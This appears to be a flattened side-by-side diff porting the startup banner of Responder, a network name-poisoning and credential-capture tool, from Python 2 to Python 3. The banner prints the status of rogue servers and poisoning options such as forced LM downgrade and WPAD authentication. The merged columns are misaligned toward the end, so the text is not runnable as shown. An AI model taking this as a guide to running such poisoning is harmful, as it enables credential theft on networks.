print ' %-27s' % "NBT-NS" + enabled print(' %-27s' % "NBT-NS" + enabled)
print ' %-27s' % "DNS/MDNS" + enabled print(' %-27s' % "DNS/MDNS" + enabled)
print "" print('')
print color("[+] ", 2, 1) + "Servers:" print(color("[+] ", 2, 1) + "Servers:")
print ' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled) print(' %-27s' % "HTTP server" + (enabled if settings.Config.HTTP_On_Off else disabled))
print ' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled) print(' %-27s' % "HTTPS server" + (enabled if settings.Config.SSL_On_Off else disabled))
print ' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled) print(' %-27s' % "WPAD proxy" + (enabled if settings.Config.WPAD_On_Off else disabled))
print ' %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled) print(' %-27s' % "Auth proxy" + (enabled if settings.Config.ProxyAuth_On_Off else disabled))
print ' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled) print(' %-27s' % "SMB server" + (enabled if settings.Config.SMB_On_Off else disabled))
print ' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled) print(' %-27s' % "Kerberos server" + (enabled if settings.Config.Krb_On_Off else disabled))
print ' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled) print(' %-27s' % "SQL server" + (enabled if settings.Config.SQL_On_Off else disabled))
print ' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled) print(' %-27s' % "FTP server" + (enabled if settings.Config.FTP_On_Off else disabled))
print ' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled) print(' %-27s' % "IMAP server" + (enabled if settings.Config.IMAP_On_Off else disabled))
print ' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled) print(' %-27s' % "POP3 server" + (enabled if settings.Config.POP_On_Off else disabled))
print ' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled) print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled))
print ' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled) print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled))
print ' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled) print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
print "" print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
print('')
print color("[+] ", 2, 1) + "HTTP Options:" print(color("[+] ", 2, 1) + "HTTP Options:")
print ' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled) print(' %-27s' % "Always serving EXE" + (enabled if settings.Config.Serve_Always else disabled))
print ' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled) print(' %-27s' % "Serving EXE" + (enabled if settings.Config.Serve_Exe else disabled))
print ' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled) print(' %-27s' % "Serving HTML" + (enabled if settings.Config.Serve_Html else disabled))
print ' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled) print(' %-27s' % "Upstream Proxy" + (enabled if settings.Config.Upstream_Proxy else disabled))
#print ' %-27s' % "WPAD script" + settings.Config.WPAD_Script #print(' %-27s' % "WPAD script" + settings.Config.WPAD_Script
print "" print('')
print color("[+] ", 2, 1) + "Poisoning Options:" print(color("[+] ", 2, 1) + "Poisoning Options:")
print ' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled) print(' %-27s' % "Analyze Mode" + (enabled if settings.Config.AnalyzeMode else disabled))
print ' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled) print(' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled))
print ' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled) print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled))
print ' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled) print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled))
print ' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled) print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled))
print "" print('')
print color("[+] ", 2, 1) + "Generic Options:" print(color("[+] ", 2, 1) + "Generic Options:")
print ' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1) print(' %-27s' % "Responder NIC" + color('[%s]' % settings.Config.Interface, 5, 1))
print ' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1) print(' %-27s' % "Responder IP" + color('[%s]' % settings.Config.Bind_To, 5, 1))
print ' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1) print(' %-27s' % "Challenge set" + color('[%s]' % settings.Config.NumChal, 5, 1))
if settings.Config.Upstream_Proxy: if settings.Config.Upstream_Proxy:
print ' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1) print(' %-27s' % "Upstream Proxy" + color('[%s]' % settings.Config.Upstream_Proxy, 5, 1))
if len(settings.Config.RespondTo):
print ' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1) if len(settings.Config.RespondTo):
if len(settings.Config.RespondToName): print(' %-27s' % "Respond To" + color(str(settings.Config.RespondTo), 5, 1))
print ' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1) if len(settings.Config.RespondToName):
if len(settings.Config.DontRespondTo): print(' %-27s' % "Respond To Names" + color(str(settings.Config.RespondToName), 5, 1))
print ' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1) if len(settings.Config.DontRespondTo):
if len(settings.Config.DontRespondToName): print(' %-27s' % "Don't Respond To" + color(str(settings.Config.DontRespondTo), 5, 1))
print ' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1) if len(settings.Config.DontRespondToName):
print "\n\n" print(' %-27s' % "Don't Respond To Names" + color(str(settings.Config.DontRespondToName), 5, 1))
print('\n\n')